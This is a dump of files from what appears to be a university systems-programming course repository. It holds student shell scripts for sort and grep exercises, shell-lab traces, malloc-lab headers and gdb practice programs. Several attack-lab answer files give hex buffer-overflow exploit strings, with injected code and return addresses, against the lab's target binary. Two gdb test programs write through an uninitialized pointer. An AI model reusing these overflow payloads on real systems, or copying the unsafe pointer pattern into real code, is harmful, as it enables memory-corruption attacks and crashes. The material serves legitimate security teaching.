00 32 12 | 36 65 65 65 37 36 30 00 -------------------------------------------------------------------------------- /lab4/attack-handout/21/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 /* 10 bytes */ 2 | 00 00 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 7 | 01 60 55 55 55 55 00 00 8 | b7 d8 43 2f 00 00 00 00 /* cookie */ 9 | 18 60 55 55 55 55 00 00 10 | 26 5e 55 55 55 55 00 00 /* touch2 */ 11 | -------------------------------------------------------------------------------- /lab4/attack-handout/67/answer5.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 56 61 55 55 55 55 00 00 5 | 30 61 55 55 55 55 00 00 6 | 1b 61 55 55 55 55 00 00 7 | 1b 60 55 55 55 55 00 00 8 | 00 00 00 00 00 00 00 00 9 | 00 00 00 00 00 00 00 00 10 | 00 00 00 00 00 00 00 00 11 | 00 00 00 00 00 00 00 37 12 | 33 65 37 34 37 30 35 00 13 | 14 | -------------------------------------------------------------------------------- /lab6/shlab-handout/trace13.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace13.txt - Restart every stopped process in process group 3 | # 4 | /bin/echo -e tsh> ./mysplit 4 5 | ./mysplit 4 6 | 7 | SLEEP 2 8 | TSTP 9 | 10 | /bin/echo tsh> jobs 11 | jobs 12 | 13 | /bin/echo tsh> /bin/ps a 14 | /bin/ps a 15 | 16 | /bin/echo tsh> fg %1 17 | fg %1 18 | 19 | /bin/echo tsh> /bin/ps a 20 | /bin/ps a 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /gdb_test/test2.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void print(){ 4 | for(int i = 0; i < 5; ++i){ 5 | printf("i = %d \n", i); 6 | } 7 | return; 8 | } 9 | 10 | int main(){ 11 | for(int j = 0; j < 10; ++j) 12 | printf("j = %d \n", j); 13 | printf("-----call function----- \n"); 14 | print(); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /lab1/10215501446.txt: -------------------------------------------------------------------------------- 1 | 1 2 | #!/bin/bash 3 | for i in `seq 50000` 4 | do echo $RANDOM | md5sum |cut -c 1-9 5 | done >> test.txt 6 | 7 | #!/bin/bash 8 | sort -d test.txt | uniq > answer1.txt 9 | sort -d test.txt | uniq >> answer2.txt 10 | sort -n test.txt | uniq > answer3.txt 11 | sort -n test.txt | uniq >> answer4.txt 12 | 13 | 2 14 | #!/bin/bash 15 | grep abcd test.txt 16 | grep -c abcd test.txt 17 | -------------------------------------------------------------------------------- /lab1/10215501428.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | for i in `seq 1000`;do echo $RANDOM | md5sum | cut -c 1-9 ;done >> hw1.txt 3 | 4 | sort hw1.txt | uniq -u 5 | sort -n hw1.txt | uniq -u 6 | sort hw1.txt > 2forhw1 7 | sort -n hw1.txt > 3forhw1 8 | sort hw1.txt >> 2forhw1 9 | sort -n hw1.txt >> 3forhw1 10 | 11 | grep 'sc' hw1.txt 12 | grep -o 'sc' hw1.txt 13 | grep 'sc' hw1.txt | wc -l 14 | grep -o 'sc' hw1.txt | wc -------------------------------------------------------------------------------- /lab1/10215501424.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | for i in `seq 5`;do echo $RANDOM | md5sum | cut -c 1-9 ;done > test.txt 3 | sort -u test.txt 4 | sort -u -n test.txt 5 | sort -n -u test.txt > test_a.txt 6 | cat test_a.txt >> test_b.txt 7 | echo "OK" 8 | 9 | 10 | 11 | 12 | #!/bin/bash 13 | for i in `seq 5`;do echo "apple" && echo "app";done > test2.txt 14 | cat test2.txt 15 | grep -rn "apple" test2.txt |wc -l 16 | echo "OK" -------------------------------------------------------------------------------- /lab1/10215501431.sh: -------------------------------------------------------------------------------- 1 | for i in `seq 1000 `; do echo $RANDOM | md5sum | cut -c 1-9;done >> test.txt 2 | sort -d -u test.txt # -d为按字典顺序 -u为unique 3 | sort -n -u test.txt # -u为按数值顺序 4 | sort -d -u test.txt > test1.txt #将按覆盖写入 5 | sort -n -u test.txt >> test1.txt #追加写 6 | grep --fixed-strings "ab" test.txt #在test.txt中查找字符串`ab`出现位置 7 | grep -o ab test.txt|wc -l #统计test.txt中字符串`ab`出现次数 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /lab1/10215501401.sh: -------------------------------------------------------------------------------- 1 | for i in 'seq 50000' 2 | > do 3 | > echo $RANDOM | md5sum | cut -c 1-9 4 | > done >>hw1.txt 5 | //按字母排序 6 | sort hw1.txt | uniq; 7 | //按数字排序 8 | sort -n hw1.txt | uniq; 9 | //覆盖 10 | sort hw1.txt | uniq >>file1.txt; 11 | //追加 12 | sort -n hw1.txt >>file2.txt; 13 | 14 | for i in 'seq 1000' 15 | > do 16 | > echo $RANDOM | md5sum | cut -c 1-9 17 | > done >>question2.txt 18 | grep -o "computer" question2.txt | wc -w; -------------------------------------------------------------------------------- /lab1/10215501420.sh: -------------------------------------------------------------------------------- 1 | for i in `seq 10000`;do echo $RANDOM | md5sum | cut -c 1-9 ;done >> test.txt 2 | sort test.txt | uniq -u >> test1.txt 3 | sort --numeric-sort test.txt |uniq -u >> test2.txt 4 | sort test.txt | uniq -u > test3.txt 5 | sort --numeric-sort test.txt |uniq -u > test3.txt 6 | sort test.txt | uniq -u >> test4.txt 7 | sort --numeric-sort test.txt |uniq -u >> test4.txt 8 | grep "cd" test.txt 9 | grep "cd" test.txt | wc -l -------------------------------------------------------------------------------- /lab1/10204810426.sh: -------------------------------------------------------------------------------- 1 | for i in `seq 50000`;do echo $RANDOM | md5sum | cut -c 1-9 ;done >> test.txt 2 | sort -n|uniq//按数字排序 3 | sort -d |uniq//按字符排序 4 | sort -n |uniq>test1.txt//覆盖写 5 | sort -d |uniq>test1.txt//覆盖写 6 | sort -n |uniq>>test2.txt//追加写 7 | sort -d |uniq >>test.txt//追加写 8 | 9 | for((i=0;i<200;i++)) do head -c 100/dev/urandom|tr-dc A-Za-z>>Testfile;echo-e \>>Testfile;done 10 | grep -r com Testfile 11 | grep -c com Testfile 12 | -------------------------------------------------------------------------------- /lab1/10215501423.sh: -------------------------------------------------------------------------------- 1 | for i in `seq 1000`;do echo $RANDOM | md5sum | cut -c 1-9 ;done > test.txt 2 | sort --general-numeric-sort test.txt | uniq 3 | sort --numeric-sort test.txt | uniq 4 | sort --general-numeric-sort test.txt | uniq > 1.txt 5 | sort --numeric-sort test.txt | uniq > 1.txt 6 | sort --general-numeric-sort test.txt | uniq >> 2.txt 7 | sort --numeric-sort test.txt | uniq >> 2.txt 8 | grep "56" test.txt 9 | grep "56" test.txt | wc --lines -------------------------------------------------------------------------------- /lab1/1021551416.sh: -------------------------------------------------------------------------------- 1 | #1.先生成含有5000行随机代码的文件 2 | for i in `seq 50000`;do echo $RANDOM | md5sum | cut -c 1-9 ;done >> test.txt; 3 | #2 对文件进行具体的操作 4 | sort -u test.txt; 5 | #按字母给文件排序 6 | sort -u -n test.txt; 7 | #按数字给文件排序 8 | sort -u test.txt>test1.txt; 9 | #将字母排序的结果覆盖至test1文件中 10 | sort -u -n test.txt>test2.txt; 11 | #将数字排序的结果覆盖至test2文件中 12 | grep "computer" test.txt; 13 | #找内容含有”computer"字符串的句子并输出 14 | grep -c "computer" test.txt; 15 | #统计行数并输出 -------------------------------------------------------------------------------- /lab1/10215501404 高顾源.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # a= date +%s%N | md5sum | head -c 8 3 | cat /dev/null > text.txt 4 | cat /dev/null > text1.txt 5 | cat /dev/null > text2.txt 6 | int=1 7 | while(( $int<=100 )) 8 | do 9 | echo $(date +%s%N | md5sum | head -c 8)>>text.txt 10 | let "int++" 11 | done 12 | sort text.txt | uniq > text1.txt 13 | sort -n text.txt | uniq >> text2.txt 14 | awk -v RS="@##@#" '{print gsub(/computer/, "&")}' text.txt -------------------------------------------------------------------------------- /lab1/10215501402.sh: -------------------------------------------------------------------------------- 1 | for i in `seq 50000`;do random=`hexdump -n 2 -e '/2 "%u"' /dev/urandom`; echo $random; done 2 | for i in `seq 50000`;do echo $RANDOM | md5sum | cut -c 1-9 ;done >> test.txt 3 | sort ./test.txt 4 | sort --reverse ./test.txt 5 | sort ./test.txt | uniq -u 6 | sort --numeric-sort ./test.txt 7 | sort ./test.txt | uniq -u > test1.txt 8 | sort ./test.txt | uniq -u >> test1.txt 9 | grep "ab" ./test.txt 10 | grep -o "ab" ./test.txt | wc -l 11 | -------------------------------------------------------------------------------- /lab1/10195501415.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | for i in `seq 1000` 3 | do echo $RANDOM | md5sum | cut -c 1-9 4 | done >> origin.20220914 5 | 6 | sort test.txt --unique 7 | sort test.txt --numeric -u 8 | sort test.txt -u origin.20220914 > output_u.20220914 9 | sort test.txt -n -u origin.20220914 >> output_n_u.20220914 10 | echo "worked" 11 | 12 | 13 | #!/bin/bash 14 | grep 66 origin.20220914 15 | 16 | grep -c 66 origin.20220914 17 | grep -c "66" origin.20220914 | wc -l 18 | -------------------------------------------------------------------------------- /lab1/10215501405.txt: -------------------------------------------------------------------------------- 1 | 1. 2 | for i in `seq 1000`;do echo $RANDOM | md5sum | cut -c 1-9;done>>test.txt; 3 | 生成文件 test.txt 4 | sort test.txt | uniq 5 | 字母顺序排序输出所有unique行 6 | sort -n test.txt | uniq 7 | 数字顺序输出unique行 8 | sort test.txt | uniq > test1.txt 9 | 覆盖写重定向 10 | sort test.txt | uniq >> test2.txt 11 | 追加写重定向 12 | 13 | 2. 14 | echo "computer" > test3.txt 15 | 生成文件 16 | grep -rn "computer" test3.txt 17 | 找字符串“computer” 18 | grep -o 'computer' ./test3.txt | wc -l 19 | 统计 -------------------------------------------------------------------------------- /lab1/10215501437.sh: -------------------------------------------------------------------------------- 1 | #!/bash/bin 2 | #生成随机字符串 3 | for i in `seq 1000`;do echo $RANDOM | md5sum | cut -c 1-9 ;done > test.txt 4 | #按照字母顺序排列,输出unique行 5 | sort -u test.txt | uniq 6 | #按照数字顺序排列,输出unique行 7 | sort -u -n test.txt | uniq 8 | #以覆盖写的方式重定向到一个文件 9 | sort -u test.txt | uniq > ans1 10 | sort -u -n test.txt | uniq > ans1 11 | #以追加写的方式重定向到一个文件 12 | sort -u test.txt | uniq >> ans1 13 | sort -u -n test.txt | uniq >> ans1 14 | #寻找to 15 | grep -wo "to" test2.txt | wc-l 16 | -------------------------------------------------------------------------------- /lab1/10215501439.sh: -------------------------------------------------------------------------------- 1 | for((i=1;i<=1000;i++)) 2 | > do 3 | > pass=`echo $RANDOM | md5sum | cut -c11-20` 4 | > echo -e "\t ${pass}" >> happy.txt 5 | > done 6 | 7 | sort -u happy.txt 8 | sort -n -u happy.txt 9 | sort -u happy.txt > rrw.txt 10 | sort -u -n happy.txt >> rrw.txt 11 | 12 | #随机生成的文件 13 | for((i=1;i<=102;i++)) 14 | > do 15 | > echo I love cats >>test.txt 16 | > echo I love dogs >>tset.txt 17 | > done 18 | 19 | grep cats test.txt 20 | grep -c "love" test.txt 21 | -------------------------------------------------------------------------------- /lab1/10215501419.txt: -------------------------------------------------------------------------------- 1 | for i in `seq 1000` 2 | do 3 | echo $RANDOM | md5sum | cut -c 1-9 4 | done >> List.txt 5 | #覆盖字母unique 6 | sort -u List.txt > List1.txt 7 | #覆盖数字unique 8 | sort -u -n List.txt > List2.txt 9 | #追加字母unique 10 | sort -u List.txt >> List1.txt 11 | #追加数字unique 12 | sort -u -n List.txt >> List2.txt 13 | 14 | #生成含“computer”文件 15 | echo "computer" > List3.txt 16 | #寻找该字符串 17 | grep -rn "computer" List3.txt 18 | #统计数目 19 | grep -o 'computer' ./List3.txt | wc -l -------------------------------------------------------------------------------- /lab1/shell.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export LC_ALL=C: 3 | sort -d randstring.txt | uniq 4 | sort -n randstring.txt | uniq 5 | touch n_sorted_a.txt 6 | touch d_sorted_a.txt 7 | touch n_sorted_w.txt 8 | touch d_sorted_w.txt 9 | sort -d randstring.txt | uniq >d_sorted_w.txt 10 | sort -d randstring.txt | uniq>>d_sorted_a.txt 11 | sort -n randstring.txt | uniq>n_sorted_w.txt 12 | sort -n randstring.txt | uniq>>n_sorted_a.txt 13 | grep -w "gas" essay.txt 14 | grep -c "gas" essay.txt 15 | 16 | -------------------------------------------------------------------------------- /lab1/10204602470-code.sh.sh: -------------------------------------------------------------------------------- 1 | #生成 50000 行的文件,每一行可以包含字母、数字。长度不限制。 2 | for((i = 0; i < 50000; i++)) 3 | do 4 | head -c 50 /dev/urandom | tr -dc A-Za-z0-9 >> RandChara; 5 | echo -e \ >> RandChara; 6 | done 7 | 8 | #按照字母顺序排序这个文件,输出所有的 unique 行。小写在前,大写在后。 9 | sort RandChara | uniq; 10 | 11 | #按照数字顺序排序这个文件,输出所有的 unique 行。 12 | sort -n RandChara | uniq; 13 | 14 | # 以覆盖写的方式将上述的结果重定向到一个文件中 15 | sort RandChara | uniq >> CoverFile; 16 | 17 | #以追加写的方式将上述的结果重定向到一个文件中 18 | sort -n RandChara | uniq >> AddFile; -------------------------------------------------------------------------------- /lab1/10215501436.sh: -------------------------------------------------------------------------------- 1 | #1. 生成 50000 行的文件,每一行可以包含字母、数字。长度不限制。 2 | #* 按照字母顺序排序这个文件,输出所有的 unique 行。 3 | sort ran_string.txt | uniq 4 | #* 按照数字顺序排序这个文件,输出所有的 unique 行。 5 | sort -n ran_string.txt | uniq 6 | #* 以覆盖写的方式将上述的结果重定向到一个文件中 7 | sort ran_string.txt | uniq >res1.txt 8 | #* 以追加写的方式将上述的结果重定向到一个文件中 9 | sort ran_string.txt | uniq >>res2.txt 10 | 11 | #2. 随便生成一个文件,我们想要在这个文件中做以下几件事情: 12 | #* 找一个内容确定的字符串,比如 “computer” 13 | grep computer ran_.txt 14 | #* 统计其中包含多少 computer 15 | grep -c computer ran_.txt -------------------------------------------------------------------------------- /lab5/malloc-handout/malloclab-handout/ftimer.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Function timers 3 | */ 4 | typedef void (*ftimer_test_funct)(void *); 5 | 6 | /* Estimate the running time of f(argp) using the Unix interval timer. 7 | Return the average of n runs */ 8 | double ftimer_itimer(ftimer_test_funct f, void *argp, int n); 9 | 10 | 11 | /* Estimate the running time of f(argp) using gettimeofday 12 | Return the average of n runs */ 13 | double ftimer_gettod(ftimer_test_funct f, void *argp, int n); 14 | 15 | -------------------------------------------------------------------------------- /lab4/attack-handout/39/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 20 5b 65 55 /* mov $0x55655b20,%rdi 把cookie的地址(此地址是getbuf栈帧上面的位置)传到rdi里头 */ 2 | 48 b8 3b 5f 55 55 55 /* movabs $0x555555555f3b,%rax */ 3 | 55 00 00 4 | 50 /* push %rax */ 5 | c3 /* retq */ 6 | /* 返回到touch3的地址 */ 7 | 00 00 00 00 00 8 | f8 5a 65 55 00 00 00 00 /* 返回到exploit codes的地址 */ 9 | 00 00 00 00 00 00 00 00 10 | 37 37 63 34 37 31 31 32 00 /* cookie对应的acsii码,注意字符串以0结尾,这个为什么不按小端法?cookie的长度不是超过8字节了吗,会有什么影响吗 */ 11 | -------------------------------------------------------------------------------- /lab1/10215501414.sh: -------------------------------------------------------------------------------- 1 | #生成文件 2 | for i in `seq 5000`; 3 | do echo $RANDOM | md5sum | cut -c 1-9; 4 | done>>test.txt; 5 | 6 | #1 7 | sort -u test.txt #按字母排序 8 | sort -u -n test.txt #按数字排序 9 | sort -u test.txt>1.txt #将字母排序结果覆盖写到1.txt中 10 | sort -u test.txt>>2.txt #将字母排序结果追加写到2.txt中 11 | sort -u -n test.txt>1.txt #将数字排序结果覆盖写到1.txt中 12 | sort -u -n test.txt>>2.txt #将数字排序结果追加写到2.txt中 13 | 14 | #2 15 | grep "abc" test.txt #找出内容包含"abc"的字符串并输出 16 | grep -c "abc" test.txt #统计内容包含"abc"的行数并输出 -------------------------------------------------------------------------------- /lab1/10215501409.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | i=0 3 | touch test.txt 4 | touch cover.txt 5 | touch add.txt 6 | cat /dev/null>test.txt 7 | cat /dev/null>cover.txt 8 | cat /dev/null>add.txt 9 | 10 | while (($i<1000)) 11 | do 12 | echo $(date +%s%N | md5sum | head -c 15) >> test.txt 13 | let i++ 14 | 15 | sort test.txt | uniq > cover.txt 16 | sort test.txt -n | uniq > cover.txt 17 | sort test.txt | uniq >> add.txt 18 | sort test.txt -n | uniq > add.txt 19 | grep -o computer test.txt | wc -l 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /gdb_test/test6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char * buf; 6 | 7 | int sum_to_n(int num) 8 | { 9 | int i,sum=0; 10 | for(i=1;i<=num;i++) 11 | sum+=i; 12 | return sum; 13 | } 14 | 15 | void printSum() 16 | { 17 | char line[10]; 18 | printf("enter a number:\n"); 19 | fgets(line, 10, stdin); 20 | if(line != NULL) 21 | strtok(line, "\n"); 22 | sprintf(buf,"sum=%d",sum_to_n(atoi(line))); 23 | printf("%s\n",buf); 24 | } 25 | 26 | int main(void) 27 | { 28 | printSum(); 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /lab1/randstring.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | 4 | 5 | def randstr(): 6 | resstr ='' 7 | charsum = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789_' 8 | for i in range(15): 9 | x = random.randint(0,62) 10 | resstr += charsum[x] 11 | return resstr 12 | 13 | if __name__ == '__main__': 14 | f=open('E:/randstring/test.txt','w') 15 | for i in range(1000): 16 | ans = randstr() 17 | ans+='\n' 18 | f.write(ans*50) 19 | f.close() 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /lab6/shlab-handout/myspin.c: -------------------------------------------------------------------------------- 1 | /* 2 | * myspin.c - A handy program for testing your tiny shell 3 | * 4 | * usage: myspin 5 | * Sleeps for seconds in 1-second chunks. 6 | * 7 | */ 8 | #include 9 | #include 10 | #include 11 | 12 | int main(int argc, char **argv) 13 | { 14 | int i, secs; 15 | 16 | if (argc != 2) { 17 | fprintf(stderr, "Usage: %s \n", argv[0]); 18 | exit(0); 19 | } 20 | secs = atoi(argv[1]); 21 | for (i=0; i < secs; i++) 22 | sleep(1); 23 | exit(0); 24 | } 25 | -------------------------------------------------------------------------------- /lab1/10215501438.txt: -------------------------------------------------------------------------------- 1 | touch random 2 | for i in {1..50000} 3 | > do echo $RANDOM | md5sum | cut -c 1-9 4 | > done >> random // 生成随机字符串 5 | 6 | sort random -o string.txt // 将排完序的内容写入string.txt中 7 | sort random | uniq // 将内容去重输出 8 | 9 | sort -n random -o number.txt // 将排完序的内容写入number.txt中 10 | sort -n random | uniq // 将内容去重输出 11 | 12 | touch file.txt 13 | cat string.txt > file.txt // 覆盖 14 | cat string.txt >> file.txt // 追加 15 | 16 | 17 | touch count.txt // 创建文件 18 | vim count.txt // 打开这个文件,并向里写入文字 19 | grep -o "farmer" count.txt // 输出匹配的项 20 | grep -o "farmer" count.txt | wc -l // 统计个数 21 | -------------------------------------------------------------------------------- /lab1/10215501443.sh: -------------------------------------------------------------------------------- 1 | 第一题 2 | 随机生成50000行的文件 3 | for i in {1..50000} 4 | >do 5 | >echo $RANDOM | md5sum | cut -c 1-9 >> hw1.txt 6 | >done 7 | 8 | 按数字排序 追加写的方式重定向 9 | sort -n hw1.txt -u >> 3.txt 10 | 11 | 按数字排序 覆盖写的方式重定向 12 | sort -n hw1.txt -u > 4.txt 13 | 14 | 按字母排序 追加写的方式重定向 15 | sort -f hw1.txt -u >> 5.txt 16 | 17 | 按字母排序 覆盖写的方式重定向 18 | sort -f hw1.txt -u > 6.txt 19 | 20 | 21 | 第二题 22 | 随机生成一个文件 23 | for i in {1..500} 24 | > do 25 | > echo $RANDOM | md5sum | cut -c 1-9 >> hw2.txt 26 | > done 27 | 28 | 查找指定字符串fe 29 | grep 'fe' hw2.txt 30 | 31 | 统计字符串fe出现次数 32 | grep -o "fe" hw2.txt | wc -l -------------------------------------------------------------------------------- /lab1/10215501443.txt: -------------------------------------------------------------------------------- 1 | 第一题 2 | 随机生成50000行的文件 3 | for i in {1..50000} 4 | >do 5 | >echo $RANDOM | md5sum | cut -c 1-9 >> hw1.txt 6 | >done 7 | 8 | 按数字排序 追加写的方式重定向 9 | sort -n hw1.txt -u >> 3.txt 10 | 11 | 按数字排序 覆盖写的方式重定向 12 | sort -n hw1.txt -u > 4.txt 13 | 14 | 按字母排序 追加写的方式重定向 15 | sort -f hw1.txt -u >> 5.txt 16 | 17 | 按字母排序 覆盖写的方式重定向 18 | sort -f hw1.txt -u > 6.txt 19 | 20 | 21 | 第二题 22 | 随机生成一个文件 23 | for i in {1..500} 24 | > do 25 | > echo $RANDOM | md5sum | cut -c 1-9 >> hw2.txt 26 | > done 27 | 28 | 查找指定字符串fe 29 | grep 'fe' hw2.txt 30 | 31 | 统计字符串fe出现次数 32 | grep -o "fe" hw2.txt | wc -l -------------------------------------------------------------------------------- /lab1/10215501448.txt: -------------------------------------------------------------------------------- 1 | 10215501448朱施颐 2 | 3 | 使用过的代码: 4 | 5 | 普通排序 6 | sort prctice.txt > result.txt 7 | 8 | 去除重复行的排序 9 | sort -u prctice.txt >result.txt 10 | 11 | 根据数字的排序 12 | sort -n prctice.txt >answer.txt 13 | 14 | 去除重复行并写入result.txt尾部的排序 15 | sort -u prctice.txt >>result.txt 16 | 17 | 根据数字并将结果写入answe.txt的排序 18 | sort -n prctice.txt >>answer.txt 19 | 20 | 输出answer.txt中的结果 21 | cat answer.txt 22 | 23 | 生成50000个随机字符串的命令 24 | for i in `seq 50000`; do echo $RANDOM | md5sum | cut -c 1-9 >>result.txt ;done 25 | 26 | 正则表达式查找并输出次数: 27 | grep -o fe answer.txt | wc -l 28 | -------------------------------------------------------------------------------- /lab1/10215501432.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | for i in `seq 1000`;do echo $RANDOM | md5sum | cut -c 1-9 ;done > test.txt 4 | 5 | sort -u test.txt 6 | #按字母排序,并输出unique行 7 | 8 | echo -e "\n" 9 | #美观的空行 10 | 11 | sort -n -u test.txt 12 | #按数字排序,并输出unique行 13 | 14 | sort -u test.txt > result1.txt 15 | #以覆盖写的方式重定向 16 | 17 | sort -u test.txt >> result2.txt 18 | #以追加写的方式重定向 19 | 20 | sort -n -u test.txt > resultn1.txt 21 | #以覆盖写的方式重定向按数字排序 22 | 23 | sort -n -u test.txt >> resultn2.txt 24 | #以追加写的方式重定向按数字排序 25 | 26 | 27 | #在这里已经手动创建了一个article.txt,内含一段文字 28 | 29 | grep -wo "the" article.txt |wc -l 30 | #查找the并输出总数 -------------------------------------------------------------------------------- /lab1/10215501403.sh: -------------------------------------------------------------------------------- 1 | # Question1 2 | i=0 3 | 4 | # Generate 50000 random strings into text.txt 5 | while (($i<50000)) 6 | do 7 | echo $random | md5sum | cut -c 1-9 >> test.txt 8 | ((i++)) 9 | done 10 | 11 | # >> for w and > for a 12 | sort -n test.txt | uniq > 1.txt 13 | sort -n test.txt | uniq >> 2.txt 14 | sort -f test.txt | uniq > 3.txt 15 | sort -f test.txt | uniq >> 4.txt 16 | 17 | 18 | # Question2 19 | # We use the same file test.txt For testing 20 | # Find the string 'computer' 21 | # Sum up and print, use pipe as an interface 22 | grep -rn "computer" test.txt 23 | grep -o "computer" test.txt | wc -l 24 | -------------------------------------------------------------------------------- /lab6/handin/README.md: -------------------------------------------------------------------------------- 1 | # note 2 | 3 | 1. 需在`tsh.c`完成 `eval`、`builtin_cmd`、`do_bgfg`、`waitfg`、`sigchld_handler`、`sigint_handler`、`sigtstp_handler`七个函数的功能。 4 | 2. 自测 5 | - 每完成`tsh.c`的一个功能,重新make后,进入`./tsh`,测试功能是否正常。具体用来测试的语句可参考`tracexx.txt`文件。 6 | - 执行`make test01` ,比对与给定的参考程序`tshref`执行`make rtest01`的输出是否一致,依次检查完16个trace文件。 7 | 8 | # submit 9 | 10 | 1. 源码:只需提交你的`tsh.c`文件(需重新命名为:**学号**+tsh.c)到`github`的`lab6/handin`文件夹下。 11 | 2. 报告:提交到邮箱`csapp2022ecnu@163.com`。报告内容需至少包含以下六个函数`eval`、`do_bgfg`、`sigchld_handler`、`sigchld_handler`、`sigint_handler`、`sigtstp_handler`中的三个,如设计过程、遇到的bug和收获到的知识点。以及运行`trace15.txt`的结果 12 | 3. 截至时间:2023-02-10 23.59。 13 | -------------------------------------------------------------------------------- /gdb_test/test4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char * buf; 6 | 7 | int sum_to_n(int num) 8 | { 9 | int i,sum=0; 10 | for(i=1;i<=num;i++) 11 | sum+=i; 12 | return sum; 13 | } 14 | 15 | void printSum() 16 | { 17 | char line[10]; 18 | printf("enter a number:\n"); 19 | fgets(line, 10, stdin); 20 | if(line != NULL) 21 | strtok(line, "\n"); 22 | sprintf(buf,"sum=%d",sum_to_n(atoi(line))); 23 | printf("%s\n",buf); 24 | } 25 | 26 | int main(void) 27 | { 28 | printSum(); 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /lab1/10215501441.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | for i in `seq 10`;do echo $RANDOM | md5sum | cut -c 1-9 ;done >> 1.txt 3 | #生成10个随机数 4 | 5 | sort -u 1.txt 6 | #按字母顺序排序,输出unique行 7 | 8 | echo -e "\n" 9 | echo -e "\n" 10 | echo -e "\n" 11 | 12 | sort -n -u 1.txt 13 | #按数字顺序排序,输出unique行 14 | 15 | sort -u 1.txt > result_letter1.txt 16 | #按字母顺序排序,以覆盖写的方式重定向 17 | 18 | sort -u 1.txt >> result_letter2.txt 19 | #按字母顺序排序,以追加写的方式重定向 20 | 21 | sort -n -u 1.txt > result_number1.txt 22 | #按数字顺序排序,以覆盖写的方式重定向 23 | 24 | sort -n -u 1.txt >> result_number2.txt 25 | #按数字顺序排序,以追加写的方式重定向 26 | 27 | 28 | 29 | #之前已经生成了一个2.txt文件 30 | grep -o "Demosthenes" 2.txt | wc -l 31 | #查找并统计文件中单词Demosthenes的出现次数 -------------------------------------------------------------------------------- /lab1/10215501435.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #生成50行随机字符串 3 | for i in {1..50} 4 | do 5 | echo $RANDOM | md5sum | cut -c 1-9 >> random_50.txt 6 | done 7 | #将上述50行随机的字符串循环100次,得到5000行有规律的字符串 8 | times=1 9 | while((times<=100)) 10 | do 11 | head -n 50 random_50.txt >> random_5000.txt 12 | times=`expr $times + 1` 13 | done 14 | #以覆盖写的方式,字母排序,输出unique行 15 | sort -u random_5000.txt > alph.txt 16 | #以覆盖写的方式,数字排序,输出unique行 17 | sort -u -n random_5000.txt > number.txt 18 | #以追加写的方式,字母排序,输出unique行 19 | sort -u random_5000.txt >> alph.txt 20 | #以追加写的方式,数字排序,输出unique行 21 | sort -u -n random_5000.txt >> number.txt 22 | #已经生成一个含有60个Computer的letter文件 23 | grep -c "Computer" letter.txt 24 | -------------------------------------------------------------------------------- /lab5/malloc-handout/malloclab-handout/clock.h: -------------------------------------------------------------------------------- 1 | /* Routines for using cycle counter */ 2 | 3 | /* Start the counter */ 4 | void start_counter(); 5 | 6 | /* Get # cycles since counter started */ 7 | double get_counter(); 8 | 9 | /* Measure overhead for counter */ 10 | double ovhd(); 11 | 12 | /* Determine clock rate of processor (using a default sleeptime) */ 13 | double mhz(int verbose); 14 | 15 | /* Determine clock rate of processor, having more control over accuracy */ 16 | double mhz_full(int verbose, int sleeptime); 17 | 18 | /** Special counters that compensate for timer interrupt overhead */ 19 | 20 | void start_comp_counter(); 21 | 22 | double get_comp_counter(); 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /lab1/10215501435_hw1.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #生成50行随机字符串 3 | for i in {1..50} 4 | do 5 | echo $RANDOM | md5sum | cut -c 1-9 >> random_50.txt 6 | done 7 | #将上述50行随机的字符串循环100次,得到5000行有规律的字符串 8 | times=1 9 | while((times<=100)) 10 | do 11 | head -n 50 random_50.txt >> random_5000.txt 12 | times=`expr $times + 1` 13 | done 14 | #以覆盖写的方式,字母排序,输出unique行 15 | sort -u random_5000.txt > alph.txt 16 | 